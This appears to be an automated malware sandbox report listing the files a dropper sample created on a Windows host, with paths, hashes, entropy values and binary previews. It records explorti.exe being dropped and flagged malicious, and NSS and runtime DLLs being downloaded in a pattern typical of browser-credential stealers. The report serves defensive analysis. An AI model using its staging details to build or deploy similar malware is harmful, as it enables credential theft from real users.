Preview:	.......murmur3.....IN...9.......0..X..#l....C....]......pv..E..........,..?.N?....V..B-..F.1....g\|..._.>'.-(V... .=.7P.m....#}.r.....>.LE...G.A.h5........J..=..L^-.Zl++,..h..o.y..~j.]u...W...&s.........M..........h3b..[.5.]..V^w.........a....6g3..%.gy../{\|Z.B..X.}5.]..t.1.H&B.[.).$Y......2....L.t...{...[WE.yy.]..e.v0..\.J3..T.`1Lnh.../..-=w...W.&N7.nz.P...z......'i..R6....../....t.[..&-.....T&l..e....$.8.."....Iq....J.v..\|.6.M...zE...a9uw..'.$6.L..m$......NB).JL.G.7}8(`....J.)b.E.m...c.0I.V...\|$....;.k.......8v..l.:..@.F.........K..2...%(...kA......LJd~._A.N.....$3...5....Z"...X=.....%.........6.k.....F..1..l,ia..i.i....y.M..Cl........}.I..r..-+=b.6....%...#...W..K.....=.F....~.....[.......-...../;....~.09..d.....GR..H.lR...m.Huh9.:..A H./)..D.F..Y.n7.....7D.O.a;>Z.K....w...sq..qo3N...8@.zpD.Ku......+.Z=.zNFgP._@.z.ic.......3.....+..j...an%...X..7.q..A.l.7.S2..+....1.s.b..z...@v..!.y...N.C.XQ.p.\..x8(.<.....cq.(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	18
Entropy (8bit):	3.5724312513221195
Encrypted:	false
SSDEEP:	3:kDnaV6bVon:kDYa2
MD5:	5692162977B015E31D5F35F50EFAB9CF
SHA1:	705DC80E8B32AC8B68F7E13CF8A75DCCB251ED7D
SHA-256:	42CCB5159B168DBE5D5DDF026E5F7ED3DBF50873CFE47C7C3EF0677BB07B90D4
SHA-512:	32905A4CC5BCE0FE8502DDD32096F40106625218BEDC4E218A344225D6DF2595A7B70EEB3695DCEFDD894ECB2B66BED479654E8E07F02526648E07ACFE47838C
Malicious:	false
Preview:	edgeSettings_2.0-0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3581
Entropy (8bit):	4.459693941095613
Encrypted:	false
SSDEEP:	96:JTMhnytNaSA4BOsNQNhnUZTFGKDIWHCgL5tfHaaJzRHF+P1sYmnfHUdT+GWBH7Y/:KyMot7vjFU
MD5:	BDE38FAE28EC415384B8CFE052306D6C
SHA1:	3019740AF622B58D573C00BF5C98DD77F3FBB5CD
SHA-256:	1F4542614473AE103A5EE3DEEEC61D033A40271CFF891AAA6797534E4DBB4D20
SHA-512:	9C369D69298EBF087412EDA782EE72AFE5448FD0D69EA5141C2744EA5F6C36CDF70A51845CDC174838BAC0ADABDFA70DF6AEDBF6E7867578AE7C4B7805A8B55E
Malicious:	false
Preview:	{"models":[],"geoidMaps":{"gw_my":"https://malaysia.smartscreen.microsoft.com/","gw_tw":"https://taiwan.smartscreen.microsoft.com/","gw_at":"https://austria.smartscreen.microsoft.com/","gw_es":"https://spain.smartscreen.microsoft.com/","gw_pl":"https://poland.smartscreen.microsoft.com/","gw_se":"https://sweden.smartscreen.microsoft.com/","gw_kr":"https://southkorea.smartscreen.microsoft.com/","gw_br":"https://brazil.smartscreen.microsoft.com/","au":"https://australia.smartscreen.microsoft.com/","dk":"https://denmark.smartscreen.microsoft.com/","gw_sg":"https://singapore.smartscreen.microsoft.com/","gw_fr":"https://france.smartscreen.microsoft.com/","gw_ca":"https://canada.smartscreen.microsoft.com/","test":"https://eu-9.smartscreen.microsoft.com/","gw_il":"https://israel.smartscreen.microsoft.com/","gw_au":"https://australia.smartscreen.microsoft.com/","gw_ffl4mod":"https://unitedstates4.ss.wd.microsoft.us/","gw_ffl4":"https://unitedstates1.ss.wd.microsoft.us/","gw_eu":"https://europe.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.493433469104717
Encrypted:	false
SSDEEP:	3:kfKbQSQSuLA5:kyUc5
MD5:	3F90757B200B52DCF5FDAC696EFD3D60
SHA1:	569A2E1BED9ECCDF7CD03E270AEF2BD7FF9B0E77
SHA-256:	1EE63F0A3502CFB7DF195FABBA41A7805008AB2CCCDAEB9AF990409D163D60C8
SHA-512:	39252BBAA33130DF50F36178A8EAB1D09165666D8A229FBB3495DD01CBE964F87CD2E6FCD479DFCA36BE06309EF18FEDA7F14722C57545203BBA24972D4835C8
Malicious:	false
Preview:	synchronousLookupUris_636976985063396749.rel.v2

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_636976985063396749.rel.v2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	35302
Entropy (8bit):	7.99333285466604
Encrypted:	true
SSDEEP:	768:rRhaFePY38QBsj61g3g01LXoDGPpgb8KbMcnjrQCckBuJyqk3x8cBBT:rLP+TBK6ZQLXSsaMcnHQQcox80
MD5:	0E06E28C3536360DE3486B1A9E5195E8
SHA1:	EB768267F34EC16A6CCD1966DCA4C3C2870268AB
SHA-256:	F2658B1C913A96E75B45E6ADB464C8D796B34AC43BAF1635AA32E16D1752971C
SHA-512:	45F1E909599E2F63372867BC359CF72FD846619DFEB5359E52D5700E0B1BCFFE5FF07606511A3BFFDDD933A0507195439457E4E29A49EB6451F26186B7240041
Malicious:	false
Preview:	.......murmur3.....IN...9.......0..X..#l....C....]......pv..E..........,..?.N?....V..B-..F.1....g\|..._.>'.-(V... .=.7P.m....#}.r.....>.LE...G.A.h5........J..=..L^-.Zl++,..h..o.y..~j.]u...W...&s.........M..........h3b..[.5.]..V^w.........a....6g3..%.gy../{\|Z.B..X.}5.]..t.1.H&B.[.).$Y......2....L.t...{...[WE.yy.]..e.v0..\.J3..T.`1Lnh.../..-=w...W.&N7.nz.P...z......'i..R6....../....t.[..&-.....T&l..e....$.8.."....Iq....J.v..\|.6.M...zE...a9uw..'.$6.L..m$......NB).JL.G.7}8(`....J.)b.E.m...c.0I.V...\|$....;.k.......8v..l.:..@.F.........K..2...%(...kA......LJd~._A.N.....$3...5....Z"...X=.....%.........6.k.....F..1..l,ia..i.i....y.M..Cl........}.I..r..-+=b.6....%...#...W..K.....=.F....~.....[.......-...../;....~.09..d.....GR..H.lR...m.Huh9.:..A H./)..D.F..Y.n7.....7D.O.a;>Z.K....w...sq..qo3N...8@.zpD.Ku......+.Z=.zNFgP._@.z.ic.......3.....+..j...an%...X..7.q..A.l.7.S2..+....1.s.b..z...@v..!.y...N.C.XQ.p.\..x8(.<.....cq.(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.389669793590032
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQOn:YQ3Kq9X0dMgAEiLIMn
MD5:	03B6D5E81A4DC4D4E6C27BE1E932B9D9
SHA1:	3C5EF0615314BDB136AB57C90359F1839BDD5C93
SHA-256:	73B017F7C5ECD629AD41D14147D53F7D3D070C5967E1E571811A6DB39F06EACC
SHA-512:	0037EB23CCDBDDE93CFEB7B9A223D59D0872D4EC7F5E3CA4F7767A7301E96E1AF1175980DC4F08531D5571AFB94DF789567588DEB2D6D611C57EE4CC05376547
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":15}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\cc6829cd-c4cb-4b2e-8bc6-f775a3c99dfe.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	9432
Entropy (8bit):	5.832172515614046
Encrypted:	false
SSDEEP:	192:fsNwU4ISeiRULIo1fQ58y7k7F96qRAq1k8SPxVLZ7VTiB:fsNwhvCIQI5z47F96q3QxVNZTiB
MD5:	6731C1EB2192CBDF4B23727E7FEA4B41
SHA1:	9F90F52EAAEA3862AEA15AC38BF810BB2CDDDB63
SHA-256:	16BE0212718F03F90D8C14FFE86FB1BF3B65375E33FB49755AAF2D81CEFA4B23
SHA-512:	4870A4A83F7781E959DE441B0159812D73148AA079875391F89CEE75E7094BB599A6F6703B72EBB401F95C945A20D84D6B20F41C621DABE7EEF89DEEA1810BB9
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"oem_bookmarks_set":true,"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f0d360f9-7e02-4583-9701-7a507051ccf8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9432
Entropy (8bit):	5.832321856469372
Encrypted:	false
SSDEEP:	192:fsNwU4ISeiRULIo1fQ5LjUk7F96qRAq1k8SPxVLZ7VTiB:fsNwhvCIQI53v7F96q3QxVNZTiB
MD5:	A9D3945CC853C9A80F2CC63312B37195
SHA1:	ACF44231BA0BD9B12FCAEA3C7998F4E5EA9A19CA
SHA-256:	22C97389915907D636F09B2BFF991B87C4E5FA06F38B84EC4CAC90E2CC5AFC92
SHA-512:	BE6C5CAB663DEF381957766BCF35F6265827B5AFA99DCF6AB987B95B9D61DC41FFC3FDA3BB86AF58505CF30839096143FC43CA3CE8E86C2C085A0261434BBA8C
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"dual_engine":{"ie_to_edge":{"redirection_mode":0}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false},"tab_stabs":{"closed_without_unfreeze_never_unfrozen":0,"closed_without_unfreeze_previously_unfrozen":0,"discard_without_unfreeze_never_unfrozen":0,"discard_without_unfreeze_previously_unfrozen":0},"tab_stats":{"frozen_daily":0,"unfrozen_daily":0}},"fire_local_softlanding_notification":false,"fre":{"oem_bookmarks_set":true,"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.855820294633037
Encrypted:	false
SSDEEP:	48:uiTrlKxrgx8xl9Il8ucaAVmd9ADyoiL9IDsQ0weQoWCYFl/UUR1+d1rc:mhYaXIZo49IDsQ0wfCYf//R1V
MD5:	1B7D588D68A6C6C11CF523302294A13E
SHA1:	E61297C00B140F4AE10D06B918F3C2051D59DDF3
SHA-256:	548B935A8A0B8763C1D55A71A89A1FEA6AFBF11AFFA41450D5A2DC33A6FF6681
SHA-512:	77988BD17B6C580D46B86239DD1047B663313231DB82B3AA4D6DC567303CAE75FB2A42D45FA571C05F8330FDC62C99FEF1FED18BB43CED11D61CB0DE06EAB23F
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.G.v.+.t.i.T.8.2.g.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.J.5.h.5.P.3.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.000400510263625
Encrypted:	false
SSDEEP:	96:UYaFVUNIRmJQm8x2+CDbRMWhJMHa7O9lBpwLiD8JqwD:U9VUSmz8wD5MWPSaOloGDe3
MD5:	BC6937092535B6A3620CD4C8CD757462
SHA1:	F38ADBD920AA593EEA7E67D5AD5EF32E8CE32AFE
SHA-256:	E2809C3C358FE9A5D2855770878DF3D68695722B756C7E19EC72DBEF2DABA426
SHA-512:	A96CE73144669E10E413C9E1C224B1FE397186355CA0554BF09BAE332195D9A840008A0A42E7784B5236498E997FDFC720A559E1A831B059E9C551FC679E624A
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:."./.B.F.a.n.R.z.8.2.g.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.J.5.h.5.P.3.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1771008
Entropy (8bit):	7.942401968532579
Encrypted:	false
SSDEEP:	49152:JfvwDkhoI7r1lAOv4gNKuP8xy7Ir4maBVSI5:JfoDglvwS8x2IrKC
MD5:	3D7BB337FEC6E0587CB2AC31BBD4780A
SHA1:	3C0DC6EB3A68DE74C53EC41C83ABF386C060B134
SHA-256:	4410CA8B0BB2EC305F4AFFF8DDB215B9ABF29475C37CCB54C725A87EEC23E582
SHA-512:	80D099760185F8AF5FEE093782BEE7559675733873559629391ADBB91ADF4CFF60A1776624F183FDB7A550710EEBEDDDD0C7E35AB9F7EF6BD6C851495E500600
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b...............u^......uk......u_......{v.....fz.......{f..............uZ......uh.....Rich............PE..L...M..f.....................B"......0g...........@..........................`g......O....@.................................P.#.d.............................#..................................................................................... . ..#......<..................@....rsrc ......#......L..............@....idata ......#......L..............@... ..)...$......N..............@...ylafldxq......M......P..............@...tgmwlthu..... g.....................@....taggant.0...0g.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll

Download File

Process:	C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll

Download File

Process:	C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll

Download File

Process:	C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll

Download File

Process:	C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll

Download File

Process:	C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll

Download File

Process:	C:\Users\user\AppData\Roaming\1000051000\eb98fe5174.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	917504
Entropy (8bit):	6.579765477028915
Encrypted:	false
SSDEEP:	12288:6qDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDgacTU:6qDEvCTbMWu7rQYlBQcBiT6rprG8asU
MD5:	F1864783E3A390625B906496CA7983A2
SHA1:	807A570A958B1D28BC26EB54733AF898FCE2506B
SHA-256:	EFEA84D55DB44BB4E25F002C66D625A4E08406584AA959AE10620A0EE2F898A8
SHA-512:	6137CBE5A7959238CE15E12E5B3073A342AFBCEEB7717EDB2760DCEC608DFB6D8E78BE0D21A7CD4D9DB0845FD49C8A9A4B47D283AAA1469CEB92C82147EADFC6
Malicious:	false
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L......f.........."..........P......w.............@..........................`......(.....@...@.......@.....................d...\|....@..........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc.......@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1909248
Entropy (8bit):	7.9494260363108875
Encrypted:	false
SSDEEP:	49152:rzrWn4LAutiSNWKIKR/J/mTmmJF500kjxw9WLVpw5:7WSXtiGWKn19mn5Adw9Wbw5
MD5:	D2D35997021550D304BF21A670921EFE
SHA1:	974ED61752963812B1005E85D5077E43B00AFC6B
SHA-256:	5DA8190FFD2E3BFBC685B9DE6E326EEFE60BE0B51A5BE2EA38634E45287CCFBC
SHA-512:	F7A48B602D925B5C8B0190279BEFF76F054530BF2AEF3E1FF7C16D2F88F08227387D2EBE944A52601B7D9732716901A950744736CDD9DC630E5CC922154AA87D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....A.f..............................K...........@...........................K...........@.................................W...k.............................K.............................d.K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...gmovqjaa......1.....................@...bqoswyio......K.....................@....taggant.0....K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
